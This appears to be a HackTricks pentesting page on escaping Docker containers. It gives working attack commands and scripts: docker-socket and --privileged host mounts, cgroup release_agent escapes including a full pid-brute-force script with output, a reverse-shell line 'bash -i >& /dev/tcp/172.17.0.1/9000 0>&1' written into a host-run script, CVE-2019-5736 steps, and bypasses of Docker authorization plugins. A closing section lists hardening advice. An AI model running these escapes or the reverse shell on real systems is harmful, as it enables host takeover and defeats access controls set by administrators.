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596 lines
31 KiB
Markdown
596 lines
31 KiB
Markdown
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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# What is a container
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In summary, it's an **isolated** **process** via **cgroups** (what the process can use, like CPU and RAM) and **namespaces** (what the process can see, like directories or other processes):
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```bash
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docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
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ps -ef | grep 1234 #Get info about the sleep process
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ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
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```
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# Mounted docker socket
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If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
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This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
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```bash
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#Search the socket
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find / -name docker.sock 2>/dev/null
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#It's usually in /run/docker.sock
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```
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In this case you can use regular docker commands to communicate with the docker daemon:
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```bash
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#List images to use one
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docker images
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#Run the image mounting the host disk and chroot on it
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docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
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```
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{% hint style="info" %}
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In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
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{% endhint %}
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# Container Capabilities
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You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`**
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You can check currently container capabilities with:
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```bash
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capsh --print
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```
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In the following page you can **learn more about linux capabilities** and how to abuse them:
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{% content-ref url="linux-capabilities.md" %}
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[linux-capabilities.md](linux-capabilities.md)
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{% endcontent-ref %}
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# `--privileged` flag
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The --privileged flag allows the container to have access to the host devices.
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## I own Root
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Well configured docker containers won't allow command like **fdisk -l**. However on missconfigured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive.
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So to take over the host machine, it is trivial:
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```bash
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mkdir -p /mnt/hola
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mount /dev/sda1 /mnt/hola
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```
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And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola `folder.
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{% code title="Initial PoC" %}
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```bash
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# spawn a new container to exploit via:
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# docker run --rm -it --privileged ubuntu bash
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d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
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mkdir -p $d/w;echo 1 >$d/w/notify_on_release
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t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
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touch /o;
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echo $t/c >$d/release_agent;
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echo "#!/bin/sh $1 >$t/o" >/c;
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chmod +x /c;
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sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
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```
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{% endcode %}
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{% code title="Second PoC" %}
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```bash
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# On the host
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docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
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# In the container
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mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
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echo 1 > /tmp/cgrp/x/notify_on_release
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host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
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echo "$host_path/cmd" > /tmp/cgrp/release_agent
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#For a normal PoC =================
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echo '#!/bin/sh' > /cmd
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echo "ps aux > $host_path/output" >> /cmd
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chmod a+x /cmd
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#===================================
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#Reverse shell
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echo '#!/bin/bash' > /cmd
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echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
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chmod a+x /cmd
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#===================================
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sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
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head /output
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```
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{% endcode %}
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The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities.
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In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:
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1. We must be running as root inside the container
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2. The container must be run with the `SYS_ADMIN` Linux capability
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3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
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4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
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The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
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Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
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A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
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## Breaking down the proof of concept
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Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works.
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To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
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To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
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If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. We’re using RDMA because the original PoC was only designed to work with it.
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Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
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We can see the “x” child cgroup creation and its directory listing below.
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```
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root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
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root@b11cf9eab4fd:/# ls /tmp/cgrp/
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cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
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root@b11cf9eab4fd:/# ls /tmp/cgrp/x
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cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
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```
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Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file.
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The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
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Those operations can be seen below:
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```
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root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
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root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
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root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
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```
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Note the path to the `/cmd` script, which we are going to create on the host:
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```
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root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
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/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
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```
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Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents:
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```
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root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
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root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
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root@b11cf9eab4fd:/# chmod a+x /cmd
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root@b11cf9eab4fd:/# cat /cmd
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#!/bin/sh
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ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
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```
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Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container:
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```
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root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
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root@b11cf9eab4fd:/# head /output
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USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
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root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
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root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
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root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
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root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
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root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
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root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
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root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
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root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
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root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
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```
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# `--privileged` flag v2
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The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point.
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## Kata Containers
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```
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root@container:~$ head -1 /etc/mtab
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kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
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```
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[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
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\* More on Kata Containers in a future blog post.
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## Device Mapper
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```
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root@container:~$ head -1 /etc/mtab
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/dev/sdc / ext4 rw,relatime,stripe=384 0 0
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```
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I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
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## An Alternative PoC
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Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity.
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The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.
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### Proc to the Rescue <a href="proc-to-the-rescue" id="proc-to-the-rescue"></a>
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The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container
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```bash
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root@container:~$ sleep 100
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```
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```bash
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root@host:~$ ps -eaf | grep sleep
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root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
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root@host:~$ ls -la /proc/`pidof sleep`
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total 0
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dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
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dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
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dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
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-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
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-r-------- 1 root root 0 Nov 19 10:04 auxv
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-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
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--w------- 1 root root 0 Nov 19 10:04 clear_refs
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-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
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...
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-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
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lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
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-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
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...
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```
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_As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_
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> /proc/\[pid]/root
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>
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> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*.
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>
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> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself.
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The `/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container:Container
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```bash
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root@container:~$ echo findme > /findme
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root@container:~$ sleep 100
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```
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```bash
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root@host:~$ cat /proc/`pidof sleep`/root/findme
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findme
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```
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This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container.
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### Pid Bashing <a href="pid-bashing" id="pid-bashing"></a>
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This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container
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```
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root@container:~$ echo findme > /findme
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root@container:~$ sleep 100
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```
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Host
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```bash
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root@host:~$ COUNTER=1
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root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
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root@host:~$ echo ${COUNTER}
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7822
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root@host:~$ cat /proc/${COUNTER}/root/findme
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findme
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```
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### Putting it All Together <a href="putting-it-all-together" id="putting-it-all-together"></a>
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To complete this attack the brute force technique can be used to guess the pid for the path `/proc/<pid>/root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created.
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The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that.
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The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups `release_agent` functionality:
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```bash
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#!/bin/sh
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OUTPUT_DIR="/"
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MAX_PID=65535
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CGROUP_NAME="xyx"
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CGROUP_MOUNT="/tmp/cgrp"
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PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
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PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
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OUTPUT_NAME="${CGROUP_NAME}_payload.out"
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OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
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# Run a process for which we can search for (not needed in reality, but nice to have)
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sleep 10000 &
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# Prepare the payload script to execute on the host
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cat > ${PAYLOAD_PATH} << __EOF__
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#!/bin/sh
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OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
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# Commands to run on the host<
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ps -eaf > \${OUTPATH} 2>&1
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__EOF__
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# Make the payload script executable
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chmod a+x ${PAYLOAD_PATH}
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# Set up the cgroup mount using the memory resource cgroup controller
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mkdir ${CGROUP_MOUNT}
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mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
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mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
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echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
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# Brute force the host pid until the output path is created, or we run out of guesses
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TPID=1
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while [ ! -f ${OUTPUT_PATH} ]
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do
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if [ $((${TPID} % 100)) -eq 0 ]
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then
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echo "Checking pid ${TPID}"
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if [ ${TPID} -gt ${MAX_PID} ]
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then
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echo "Exiting at ${MAX_PID} :-("
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exit 1
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fi
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fi
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# Set the release_agent path to the guessed pid
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echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
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# Trigger execution of the release_agent
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sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
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TPID=$((${TPID} + 1))
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done
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# Wait for and cat the output
|
||
sleep 1
|
||
echo "Done! Output:"
|
||
cat ${OUTPUT_PATH}
|
||
```
|
||
|
||
Executing the PoC within a privileged container should provide output similar to:
|
||
|
||
```bash
|
||
root@container:~$ ./release_agent_pid_brute.sh
|
||
Checking pid 100
|
||
Checking pid 200
|
||
Checking pid 300
|
||
Checking pid 400
|
||
Checking pid 500
|
||
Checking pid 600
|
||
Checking pid 700
|
||
Checking pid 800
|
||
Checking pid 900
|
||
Checking pid 1000
|
||
Checking pid 1100
|
||
Checking pid 1200
|
||
|
||
Done! Output:
|
||
UID PID PPID C STIME TTY TIME CMD
|
||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||
...
|
||
```
|
||
|
||
# Runc exploit (CVE-2019-5736)
|
||
|
||
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
||
|
||
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
|
||
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
|
||
|
||
`docker exec -it <container-name> /bin/sh`
|
||
|
||
This will trigger the payload which is present in the main.go file.
|
||
|
||
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||
|
||
# Docker Auth Plugin Bypass
|
||
|
||
In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges.
|
||
|
||
## disallowed `run --privileged`
|
||
|
||
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
|
||
|
||
```bash
|
||
docker run -d --privileged modified-ubuntu
|
||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||
See 'docker run --help'.
|
||
```
|
||
|
||
However, a user can **create a shell inside the running container and give it the extra privileges**:
|
||
|
||
```bash
|
||
docker run -d --security-opt "seccomp=unconfined" ubuntu
|
||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
|
||
```
|
||
|
||
Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host.
|
||
|
||
## Mount Writable Folder
|
||
|
||
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
|
||
|
||
```bash
|
||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||
docker container> chown root:root /host/bash
|
||
docker container> chmod u+s /host/bash
|
||
host> /tmp/bash
|
||
-p #This will give you a shell as root
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
|
||
|
||
**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
|
||
|
||
Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
|
||
{% endhint %}
|
||
|
||
## Unchecked JSON Structure
|
||
|
||
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) like "**Binds**".\
|
||
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
|
||
|
||
```bash
|
||
docker version #First, find the API version of docker, 1.40 in this example
|
||
docker images #List the images available
|
||
#Then, a container that mounts the root folder of the host
|
||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
|
||
docker start f6932bc153ad #Start the created privileged container
|
||
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
||
#You can access the host filesystem
|
||
```
|
||
|
||
## Unchecked JSON Attribute
|
||
|
||
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parametter** of the API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
|
||
|
||
```bash
|
||
docker version
|
||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
|
||
docker ps
|
||
docker exec -it c52a77629a91 bash
|
||
capsh --print
|
||
#You can abuse the SYS_MODULE capability
|
||
```
|
||
|
||
# Writable hostPath Mount
|
||
|
||
(Info from [**here**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
|
||
|
||
```bash
|
||
### Check if You Can Write to a File-system
|
||
$ echo 1 > /proc/sysrq-trigger
|
||
|
||
### Check root UUID
|
||
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
|
||
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
|
||
$ mkdir /mnt-test
|
||
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
|
||
|
||
### debugfs (Interactive File System Debugger)
|
||
$ debugfs /dev/sda1
|
||
```
|
||
|
||
# Containers Security Improvements
|
||
|
||
## Seccomp in Docker
|
||
|
||
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
|
||
|
||
{% content-ref url="seccomp.md" %}
|
||
[seccomp.md](seccomp.md)
|
||
{% endcontent-ref %}
|
||
|
||
## AppArmor in Docker
|
||
|
||
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
|
||
|
||
{% content-ref url="apparmor.md" %}
|
||
[apparmor.md](apparmor.md)
|
||
{% endcontent-ref %}
|
||
|
||
## AuthZ & AuthN
|
||
|
||
An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data.
|
||
|
||
{% content-ref url="broken-reference" %}
|
||
[Broken link](broken-reference)
|
||
{% endcontent-ref %}
|
||
|
||
## gVisor
|
||
|
||
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
|
||
|
||
{% embed url="https://github.com/google/gvisor" %}
|
||
|
||
# Kata Containers
|
||
|
||
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide** stronger workload isolation using hardware virtualization** technology as a second layer of defense.
|
||
|
||
{% embed url="https://katacontainers.io/" %}
|
||
|
||
## Use containers securely
|
||
|
||
Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary.
|
||
|
||
To help keep containers secure:
|
||
|
||
* Do not use the `--privileged` flag or mount a [Docker socket inside the container](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
|
||
* Do not run as root inside the container. Use a [different user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) or [user namespaces](https://docs.docker.com/engine/security/userns-remap/). The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
|
||
* [Drop all capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) and enable only those that are required (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack.
|
||
* [Use the “no-new-privileges” security option](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
|
||
* [Limit resources available to the container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Resource limits can protect the machine from denial of service attacks.
|
||
* Adjust [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (or SELinux) profiles to restrict the actions and syscalls available for the container to the minimum required.
|
||
* Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images.
|
||
* Regularly rebuild your images to apply security patches. This goes without saying.
|
||
|
||
# References
|
||
|
||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
|